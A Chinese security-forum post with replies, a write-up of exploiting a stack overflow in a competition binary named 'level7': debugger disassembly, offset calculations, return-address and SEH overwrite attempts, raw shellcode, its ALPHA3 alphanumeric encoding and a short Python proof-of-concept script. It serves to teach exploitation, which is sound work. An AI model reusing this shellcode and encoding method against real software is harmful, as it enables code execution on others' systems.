首页
社区
课程
招聘
[原创]栈溢出攻击原理实例详解
2014-2-25 20:37 9887

[原创]栈溢出攻击原理实例详解

2014-2-25 20:37
9887
文章来自:Tracy'Blog——【栈溢出攻击原理实例详解

去年,师弟给了个他比赛的题目给我,说要我试试,一直没去弄。这不又开学了,正愁着连ESP定律都快忘干净了,又把它拿出来了,就当练练手,就当加深一下印象吧~做完之后,发现,这是一个典型的栈溢出利用。那就当教程来写了~

直接双击,程序一闪而过,什么都没看到。于是,命令行下运行,看到了返回结果Illegal Arguments(非法参数)。习惯性的peid查壳,发现没加壳。拖到C32Asm看看有哪些字符串,同时OD加载,IDA分析。
直接单步到程序处:

CPU Disasm
Address   Hex dump       Command                                         Comments
004010B0  /$  837C24 04  CMP     DWORD PTR SS:[Arg1],2                   ; level7.004010B0(guessed Arg1,Arg2,Arg3)
004010B5  |.  7D 13      JGE     SHORT level7.004010CA
004010B7  |.  68 B480400 PUSH    OFFSET level7.004080B4                  ; ASCII "Illegal Arguments",LF
004010BC  |.  E8 D001000 CALL    level7.00401291
004010C1  |.  83C4 04    ADD     ESP,4
004010C4  |.  B8 0100000 MOV     EAX,1
004010C9  |.  C3         RETN
004010CA  |>  56         PUSH    ESI
004010CB  |.  57         PUSH    EDI
004010CC  |.  68 B080400 PUSH    OFFSET level7.004080B0                  ; ASCII "wb+"
004010D1  |.  68 4080400 PUSH    OFFSET level7.00408040                  ; ASCII "level7"
004010D6  |.  E8 A301000 CALL    level7.0040127E                         ; 打开文件
004010DB  |.  8BF0       MOV     ESI,EAX
004010DD  |.  8B4424 18  MOV     EAX,DWORD PTR SS:[Arg2]
004010E1  |.  56         PUSH    ESI
004010E2  |.  8B48 04    MOV     ECX,DWORD PTR DS:[EAX+4]
004010E5  |.  51         PUSH    ECX
004010E6  |.  E8 3C04000 CALL    level7.00401527                         ; fputs
004010EB  |.  56         PUSH    ESI                                     ; /Arg1
004010EC  |.  E8 2903000 CALL    level7.0040141A                         ; \level7.0040141A, fflush
004010F1  |.  56         PUSH    ESI
004010F2  |.  E8 CB01000 CALL    level7.004012C2                         ; ftell  返回文件长度
004010F7  |.  56         PUSH    ESI                                     ; /Arg1
004010F8  |.  8BF8       MOV     EDI,EAX                                 ; |
004010FA  |.  E8 2100000 CALL    level7.00401120                         ; \level7.00401120, fclose
004010FF  |.  68 8480400 PUSH    OFFSET level7.00408084                  ; ASCII "Write argv[1] to level7, level7 is a file!",LF
00401104  |.  E8 8801000 CALL    level7.00401291
00401109  |.  57         PUSH    EDI
0040110A  |.  E8 F1FEFFF CALL    level7.00401000                         ; 读文件
0040110F  |.  83C4 24    ADD     ESP,24
00401112  |.  33C0       XOR     EAX,EAX
00401114  |.  5F         POP     EDI
00401115  |.  5E         POP     ESI
00401116  \.  C3         RETN


并不长,通过IDA的静态分析,大概也能知道哪些call的大致功能。
命令行下输入
level7.exe 123456798

返回:
Write argv[1] to level7, level7 is a file!
Read from level7
File's size too small, not read

提示文件大小太小,然而文件中的数据却是我们刚才输入的参数,那么多输入点会怎样呢?从C32asm中其实可以看到字符串Read level7 ok!的字样在0x00401091处,直接跟随到那地址,来看看。

CPU Disasm
Address   Hex dump       Command                                         Comments
00401021  |.  E8 6B02000 CALL    level7.00401291
00401026  |.  8BBC24 0C0 MOV     EDI,DWORD PTR SS:[ARG.1]
0040102D  |.  83C4 04    ADD     ESP,4
00401030  |.  83FF FF    CMP     EDI,-1
00401033  |.  75 17      JNE     SHORT level7.0040104C
00401035  |.  68 4C80400 PUSH    OFFSET level7.0040804C                  ; ASCII "File's size too small, not read",LF
0040103A  |.  E8 5202000 CALL    level7.00401291
0040103F  |.  83C4 04    ADD     ESP,4
00401042  |.  33C0       XOR     EAX,EAX
00401044  |.  5F         POP     EDI
00401045  |.  81C4 00010 ADD     ESP,100
0040104B  |.  C3         RETN
0040104C  |>  81FF C8000 CMP     EDI,0C8
00401052  |.  7F 17      JG      SHORT level7.0040106B
00401054  |.  68 4C80400 PUSH    OFFSET level7.0040804C                  ; ASCII "File's size too small, not read",LF
00401059  |.  E8 3302000 CALL    level7.00401291
0040105E  |.  83C4 04    ADD     ESP,4
00401061  |.  33C0       XOR     EAX,EAX
00401063  |.  5F         POP     EDI
00401064  |.  81C4 00010 ADD     ESP,100
0040106A  |.  C3         RETN
0040106B  |>  56         PUSH    ESI
0040106C  |.  68 4880400 PUSH    OFFSET level7.00408048                  ; ASCII "rb"
00401071  |.  68 4080400 PUSH    OFFSET level7.00408040                  ; ASCII "level7"
00401076  |.  E8 0302000 CALL    level7.0040127E                         ; fopen
0040107B  |.  8BF0       MOV     ESI,EAX
0040107D  |.  8D4424 10  LEA     EAX,[LOCAL.63]
00401081  |.  56         PUSH    ESI
00401082  |.  57         PUSH    EDI
00401083  |.  6A 01      PUSH    1
00401085  |.  50         PUSH    EAX
00401086  |.  E8 EB00000 CALL    level7.00401176                         ; fread  此处异常
0040108B  |.  56         PUSH    ESI                                     ; /Arg1
0040108C  |.  E8 8F00000 CALL    level7.00401120                         ; \level7.00401120
00401091  |.  68 3080400 PUSH    OFFSET level7.00408030                  ; ASCII "Read level7 ok",LF
00401096  |.  E8 F601000 CALL    level7.00401291
0040109B  |.  83C4 20    ADD     ESP,20
0040109E  |.  8D4424 08  LEA     EAX,[LOCAL.63]
004010A2  |.  5E         POP     ESI
004010A3  |.  5F         POP     EDI
004010A4  |.  81C4 00010 ADD     ESP,100
004010AA  \.  C3         RETN


直接找条件跳转处,0x00401033,0x00401052,目测edi中存放的是生成的level7文件的长度。当长度小于C8时,提示文件太小。
00401076处打开文件,00401086处为fread读取文件内容了。
既然是exploit的题目,那必定有溢出啊,我们来看看在哪。输入一个超长的字符串作为level7的输入参数。结果:


我们在00401086处下断点,在od中带参数调试,参数就用刚才那个数据。F9运行,程序停在了
00401B40  |.  F3:A5      REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  ; 异常

我们在这个地址下断点,然后F9再次运行,让它在读取文件环节第一次执行这条指令的时候断下来。
发现这条指令是将003A3E94处的读取出来的内容复制到堆栈中。


1、我们在堆栈窗口往下翻,会发现:

0018FF1C处为某个call的返回地址,数一下 前面还有两个return,就可以知道,这个返回地址是最外面的call的。

2、再往后翻


看到SEH了。

所以利用方法为有两个:
1、覆盖返回地址: 先构造一个数据把返回地址覆盖了~
0x18FF1F-0x18FE1C+0x1=0x104
换做十进制就是260,也就是只要长度为260了,就可以实现跳转。而且最后四位就是要跳转的地址~
我们用下面的内容作为输入参数:
01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789

这里就是覆盖call返回地址的就是36373839了。

再F8,报错如下:

2、覆盖SEH: 再来一次,0x18FF7F-0x18FE1C+1=164,十进制是356,但是这里需要注意的是,怎么来触发异常?
我们继续往后翻:


堆栈空间最大值为0018FFFF,如果我们的数据大于0018FFFF-0x18FE1C+1时,就在堆栈中放不下,就会写入00190000,再来看看00190000是否可写。

只可读,也就是说,如果填充的字符过多,那就会出发异常,就会去执行seh。
我们来试试需要填充的字符数是0x18FFFF-0x18FE1C+1=1E4,十进制是484
生成这么一个数据段:
0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901aaaa567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678


这是500个字符。在353-356应该是seh,我用的是aaaa来填充。


之后写入异常,我们Shift+F9忽略异常,报错:


所以,结论是这两个地方都可以用来放shellcode的跳转地址。

后面要做的就是,如何找个地方放shellcode。
限制条件是哪些呢?shellcode的长度以及地址如何处理~
按照第一种方法来跳转的话,有260-4=256个字符。足够放一个shellcode了。
可偏偏问题也来了。数据是我们手动输入进去的,可shellcode里面难免会有手动输入不了的字符。怎么解决呢?比较拙劣的解决办法是,根据程序运行原理,在接受输入参数后,先写入了文件,关闭保存文件后,再打开文件读取出来,在读取的时候反生异常触发执行shellcode。
那,我提出的拙劣的测试办法为:在程序第二次打开文件的时候断下来,手动构造好的把shellcode写到文件里,让它读取。我们来试试看~
用覆盖返回地址构造,将返回地址修改为0018FE1C,如下:

之后,运行,提示异常~Shift+F9忽略,成功执行shellcode。

所以,成功利用。
再试试seh来跳转,要使用seh,是不是也得找个p/p/r呢?先看看有没safeseh保护:



发现,并没有保护~
需要注意的是,这里可不能直接跳到0018FE1C哈,还是先来说下seh利用的方法吧~
现在的seh如图:


一般情况下,是先触发异常,使程序执行到seh所指的位置(图中为61616161,而一般情况下为p/p/r的地址),运行完ppr中的retn后返回到seh next的地址,而我们 一般在seh next的地址上放有一个跳转或其他无效的指令,使其正常跳转到我们shellcode处。
接下来找一个可用的p/p/r地址,同时也方便后面顺利使用的地址如下:00403644
seh next为:04EB9090(解释成汇编就是 nop nop jmp 当前地址+04)
之后,0018FF80开始则为shellcode填充位置。可用空间有128字节
构造如下:

再次按照原方法运行,Shift+F9运行,结果如下:


也就是说,看起来这两种方法都可以利用。

可这毕竟还只是拙劣的方法,那,怎么去更好的利用而不是断下来换文件呢?
最大的限制条件就是所有的参数都必须是手动输入~
先来考虑地址处理的问题吧,覆盖直接返回地址中的地址,0018FE1C显然不能手动输入,那怎么办呢?我们执行的时候会发现,运行到异常处时,EAX刚好指向shellcode起始地址,那么,在程序中找一个类似jmp eax或者是call eax,更或者是push eax ret,之类的指令。
用!pvefindaddr j -r EAX ,我们得到了一个刚好能够用得上的地址0x00405C77。或许你会说00不能输入,可是,我来看看造成异常的这条指令:
00401B40 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; 异常
MOVS操作的是DWORD(双字),也就是四字节。每次复制4字节~当我们最后只输入三个字节的时候,应该会保留原先的00而覆盖掉后面的地址。
来试试:



发现是可以实现的。

然后要考虑的问题就是shellcode转成数字字母型的了,首先想到的就是skylined的alpha系列。这里用的是alpha3。
python ALPHA3.py x86 ascii mixedcase EAX --input=1.bin 


因为EAX是指向shellcode的,所以这里的基地址就选EAX,我的shellcode如下:
unsigned char shellcode[]=  
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" 
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" 
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" 
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" 
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" 
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x61\x63" 
"\x6B\x01\x68\x63\x79\x43\x72\x68\x20\x54\x72\x61\x89\xe1\xfe" 
"\x49\x0b\x31\xc0\x51\x50\xff\xd7"; 

得到的数字字母shellcode如下:
  hffffk4diFkTpj02Tpk0T0AuEE0t3r3V132v4x0D4z0a7n3m0f0d5K167l3a0B0A5L1L4s2s7l0U0E4V5L4L020N2k3w0d2y015p5K7k2u0M3f1M3I3h163L064j0u3D2n130U2B0T093V8M0N2Z0u061k7O0F5n5K7N2v0x3g0W5N1l0Z3P0M0w034r5K015l4Z004J1k2H0P13001n0P050s0D1l0J0d170R8M3C4P0x08114U0c2r8O4C00

下面就是连接我们的地址等,最终POC为:
#exploit.py  
shellcode="hffffk4diFkTpj02Tpk0T0AuEE0t3r3V132v4x0D4z0a7n3m0f0d5K167l3a0B0A5L1L4s2s7l0U0E4V5L4L020N2k3w0d2y015p5K7k2u0M3f1M3I3h163L064j0u3D2n130U2B0T093V8M0N2Z0u061k7O0F5n5K7N2v0x3g0W5N1l0Z3P0M0w034r5K015l4Z004J1k2H0P13001n0P050s0D1l0J0d170R8M3C4P0x08114U0c2r8O4C00" 
junk="AA" 
control="w\@" 
bin= open('exploit.txt', 'wb+')  
bin.write(shellcode)  
bin.write(junk)  
bin.write(control)  
bin.close() 


我们来测试下:

成功溢出。
好,下面用第二种方法,利用SEH跳转到shellcode。似乎比刚才难了点~
348-351处为nseh的地址,352-355为seh的地址。会发现,这次seh的地址中的00是真的不好处理了。那,能不能用系统的dll来实现ppr呢?
在系统领空翻啊翻,总算找到了一处:


刚好可以手动输入:v\*=
seh搞定了,那nesh呢?要可输入的,需要注意的是还得实现跳转!所以不能像刚才那样9090EB04了。看看有什么单字节指令吧~
想了想决定用dec ecx dec ecx jb 原地址+21,而且,它不能再是+04了,因为04你输入不了,那最小就是0x21,十进制就是33,那么可用空间就变成了128-33=95字节了,即21724949,而我们加密后的shellcode有254个字节~明显放不下了。怎么办呢?
完了等我回过头来再看的时候:
发现了应用SEH的以下几个限制条件:
• SHE handler必须指向non-SafeSEH module
• 内存页必须可执行
• SHE链表不应被篡改,并且位于链表末端的SHE结构必须为特定值(next SHE指针值为0xFFFFFFFF,SHE handler也必须为一特定值)
• 所有的SHE结构必须为4-byte对齐
• 最后一个SHE结构的handler必须正确指向ntdll中的ntdll!FinalExceptionHandler例程
• 所有SHE指针必须指向栈中

也就是说,从我选择去系统领空翻一翻的时候,我就已经错了~也不想去改SAFESEH的状态了。

行吧,这文就写到这里了。最终SEH的利用没能成功,虽然没能成功利用SEH实现跳转,但是呢,至少原理都过了一遍了,打算明天把去年写的一篇利用SEH的文发上来补充一下~

    exe文件和html文件见附件~

——Tracy_梓朋

2014/02/25
最后,感谢ShioN、半斤八两~

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (38)
雪    币: 496
活跃值: (281)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
tishion 9 2014-2-25 20:51
2
0
支持一个

最近搞Host漏洞的多起来了,搞的人越多知识的普及速度就越快,希望看到更多这种文章。

ALPHA3.py 这个还没用过,现在去学习学习。。
雪    币: 2660
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 34 2014-2-25 20:52
3
0
贴图很辛苦啊,支持一个
雪    币: 12256
活跃值: (3340)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xJJuno 2014-2-25 21:25
4
0
来前排支持、、
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hunxiaozi 2014-2-25 21:27
5
0
支持楼主,学习了
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
JoySauce 1 2014-2-25 22:05
6
0
Mark
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
suwey 2014-2-25 22:09
7
0
哈哈。。居然不感谢我对alpha3编码选项的猜测。。
雪    币: 185
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
whnet 2014-2-25 22:12
8
0
是不是群里XX了很爽的那只?
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2014-2-26 11:27
9
0
是楼主的原创么?
雪    币: 323
活跃值: (215)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
purpleroc 6 2014-2-26 11:38
10
0
必须原创。。还没转载过文章到看雪

博客是自己的,一般只在自己博客和看雪发文~52已经好久没去了~
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2014-2-26 14:02
11
0
收到,我给你加优秀
雪    币: 323
活跃值: (215)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
purpleroc 6 2014-2-26 14:20
12
0
不能给个精么?
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2014-2-26 17:57
13
0
精华是一定要给的
雪    币: 323
活跃值: (215)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
purpleroc 6 2014-2-26 21:33
14
0


我那会儿是在琢磨直接用地址还是用寄存器~
雪    币: 1839
活跃值: (295)
能力值: ( LV9,RANK:370 )
在线值:
发帖
回帖
粉丝
fosom 8 2014-2-27 09:24
15
0
markmarkmark
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
封心锁爱 2014-2-27 09:29
16
0
Tag 栈溢出 原理 实例详解
雪    币: 323
活跃值: (215)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
purpleroc 6 2014-2-27 14:21
17
0
纯粹来回帖的?
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
haiyu注册 2014-2-27 21:09
18
0
分析的不错,先学习学习
雪    币: 59
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lylqiang 2014-2-27 21:43
19
0
mark以下走人
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luzhenjun 2014-2-28 13:42
20
0
好,MARK
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
封心锁爱 2014-2-28 14:22
21
0
功力还不太够,贴个标签,怕以后看时找不到
雪    币: 3295
活跃值: (1078)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
CRoot 2014-3-1 12:50
22
0
最近处于闭关状态-- 好久没出现了--来报名顺便来看看。。竟然看到楼主的新精华了~~学习~~Mark。
雪    币: 19
活跃值: (69)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
破九 2014-3-5 10:22
23
0
擦,楼主竟然91年的,厉害。
雪    币: 323
活跃值: (215)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
purpleroc 6 2014-3-5 19:22
24
0
....

  感情我这是又被社工了~~~???
雪    币: 88
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
agongwang 2014-3-12 14:49
25
0
多谢楼主分享
游客
登录 | 注册 方可回帖
返回